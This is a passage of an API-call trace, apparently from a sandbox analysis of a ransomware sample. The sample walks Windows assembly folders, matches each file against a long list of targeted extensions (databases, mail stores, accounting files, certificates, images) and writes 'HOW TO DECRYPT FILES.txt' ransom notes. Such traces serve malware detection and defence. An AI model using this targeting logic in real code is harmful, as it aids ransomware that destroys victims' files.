[0101.353] lstrlenA (lpString="*.bz2") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.gz") returned 0 [0101.353] lstrlenA (lpString="*.gz") returned 4 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.mkv") returned 0 [0101.353] lstrlenA (lpString="*.mkv") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.eml") returned 0 [0101.353] lstrlenA (lpString="*.eml") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.msg") returned 0 [0101.354] lstrlenA (lpString="*.msg") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.edb") returned 0 [0101.354] lstrlenA (lpString="*.edb") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.accdb") returned 0 [0101.354] lstrlenA (lpString="*.accdb") returned 7 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.odb") returned 0 [0101.354] lstrlenA (lpString="*.odb") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.java") returned 0 [0101.354] lstrlenA (lpString="*.java") returned 6 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.asm") returned 0 [0101.354] lstrlenA (lpString="*.asm") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.pfx") returned 0 [0101.354] lstrlenA (lpString="*.pfx") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.pem") returned 0 [0101.354] lstrlenA (lpString="*.pem") returned 5 [0101.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.p12") returned 0 [0101.355] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81ec4740, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81ec4740, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.355] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.355] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.355] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.355] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.6.0.Microsoft.MediaCenter.UI", cAlternateFileName="POLICY~1.UI")) returned 1 [0101.355] lstrcmpA (lpString1=".", lpString2="Policy.6.0.Microsoft.MediaCenter.UI") returned -1 [0101.355] lstrcmpA (lpString1="..", lpString2="Policy.6.0.Microsoft.MediaCenter.UI") returned -1 [0101.355] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.355] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.6.0.Microsoft.MediaCenter.UI" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI" [0101.355] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.356] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.356] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.356] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.356] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.356] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.357] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.357] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.357] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\*.*") returned="*.*" [0101.357] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35" [0101.357] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.361] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.361] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.361] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.361] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.361] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.UI.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.361] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.361] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.UI.config") returned -1 [0101.361] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.UI.config") returned -1 [0101.361] lstrcmpiA (lpString1="", lpString2="Policy.6.0.Microsoft.MediaCenter.UI.config") returned -1 [0101.361] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.361] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" [0101.361] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.361] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.361] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.361] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.364] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.365] CloseHandle (hObject=0x90) returned 1 [0101.365] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.Microsoft.MediaCenter.UI.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config" [0101.365] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config", pszSpec="*.ems") returned 0 [0101.365] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.UI.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.365] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.365] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config") returned="Policy.6.0.Microsoft.MediaCenter.UI.config" [0101.365] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" [0101.365] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.365] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.366] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0x20 [0101.366] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.Microsoft.MediaCenter.UI.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll" [0101.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.ems") returned 0 [0101.366] lstrlenA (lpString="*.ems") returned 5 [0101.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.db") returned 0 [0101.366] lstrlenA (lpString="*.db") returned 4 [0101.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.dbf") returned 0 [0101.366] lstrlenA (lpString="*.dbf") returned 5 [0101.366] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.myox") returned 0 [0101.367] lstrlenA (lpString="*.myox") returned 6 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.myo") returned 0 [0101.367] lstrlenA (lpString="*.myo") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbw") returned 0 [0101.367] lstrlenA (lpString="*.qbw") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbb") returned 0 [0101.367] lstrlenA (lpString="*.qbb") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbm") returned 0 [0101.367] lstrlenA (lpString="*.qbm") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbo") returned 0 [0101.367] lstrlenA (lpString="*.qbo") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbx") returned 0 [0101.367] lstrlenA (lpString="*.qbx") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qba") returned 0 [0101.367] lstrlenA (lpString="*.qba") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qby") returned 0 [0101.367] lstrlenA (lpString="*.qby") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qbj") returned 0 [0101.367] lstrlenA (lpString="*.qbj") returned 5 [0101.367] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.ofx") returned 0 [0101.367] lstrlenA (lpString="*.ofx") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.qif") returned 0 [0101.368] lstrlenA (lpString="*.qif") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mye") returned 0 [0101.368] lstrlenA (lpString="*.mye") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mbox") returned 0 [0101.368] lstrlenA (lpString="*.mbox") returned 6 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.eml") returned 0 [0101.368] lstrlenA (lpString="*.eml") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.pst") returned 0 [0101.368] lstrlenA (lpString="*.pst") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.ost") returned 0 [0101.368] lstrlenA (lpString="*.ost") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.idx") returned 0 [0101.368] lstrlenA (lpString="*.idx") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.dbx") returned 0 [0101.368] lstrlenA (lpString="*.dbx") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.sql") returned 0 [0101.368] lstrlenA (lpString="*.sql") returned 5 [0101.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mdb") returned 0 [0101.368] lstrlenA (lpString="*.mdb") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.fdb") returned 0 [0101.369] lstrlenA (lpString="*.fdb") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.wab") returned 0 [0101.369] lstrlenA (lpString="*.wab") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.dat") returned 0 [0101.369] lstrlenA (lpString="*.dat") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.txt") returned 0 [0101.369] lstrlenA (lpString="*.txt") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.jpeg") returned 0 [0101.369] lstrlenA (lpString="*.jpeg") returned 6 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.jpg") returned 0 [0101.369] lstrlenA (lpString="*.jpg") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.png") returned 0 [0101.369] lstrlenA (lpString="*.png") returned 5 [0101.369] 